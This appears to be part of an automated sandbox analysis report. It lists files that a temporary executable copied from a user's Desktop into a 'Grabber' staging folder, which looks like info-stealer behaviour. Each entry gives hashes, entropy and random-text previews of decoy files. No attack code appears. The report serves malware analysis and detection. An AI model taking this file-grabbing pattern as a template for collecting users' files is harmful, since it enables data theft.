Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\JDDHMPCDUJ.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\Excel.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Wed Oct 4 12:47:39 2023, mtime=Wed Oct 4 12:48:07 2023, atime=Wed Oct 4 12:47:39 2023, length=53161064, window=hide
Category:	dropped
Size (bytes):	2455
Entropy (8bit):	3.949629168829945
Encrypted:	false
SSDEEP:	48:8xG2dOIe59QOuizNuKfdCZxCdCMOXudSdMh5p7AjjvA:8LKnNuG4uPh56
MD5:	577A1B3CA8C7F993484C0D629939D48C
SHA1:	65D8CEDD0F4880D3325E3CEFE230E26E3B700A78
SHA-256:	A7E4968A37467C155E084F23F9F97A0892B4C34B248E550B65F79E91AD3165DC
SHA-512:	0DEEBEC87AB3A1FC8F5CACB7E115DC55786862BBE079807635DAF1146AB56C26CB3B6F12853693D7D72FC51D6775E82EBEFA3F978DB888BD4B3CD8D8C00FAF4A
Malicious:	false
Preview:	L..................F.@.. ...k..V.....<.g.....<8W....h,+.....................5....P.O. .:i.....+00.../C:\.....................1.....DW-F..PROGRA~2.........O.IDW&l....................V.........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....j.1.....DW.n..MICROS~2..R......DW.CDW.n....B.....................)W%.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.....N.1.....DW.n..root..:......DW.nDW.n............................*.r.o.o.t.....Z.1.....DW.n..Office16..B......DW.nDW.n.....<......................Y.O.f.f.i.c.e.1.6.....\.2.h,+.DW.m .EXCEL.EXE.D......DW.mDW.n....o'....................ii8.E.X.C.E.L...E.X.E.......n...............-.......m............F.......C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE..>.E.a.s.i.l.y. .d.i.s.c.o.v.e.r.,. .v.i.s.u.a.l.i.z.e.,. .a.n.d. .s.h.a.r.e. .i.n.s.i.g.h.t.s. .f.r.o.m. .y.o.u.r. .d.a.t.a...K.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GLTYDMDUST.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	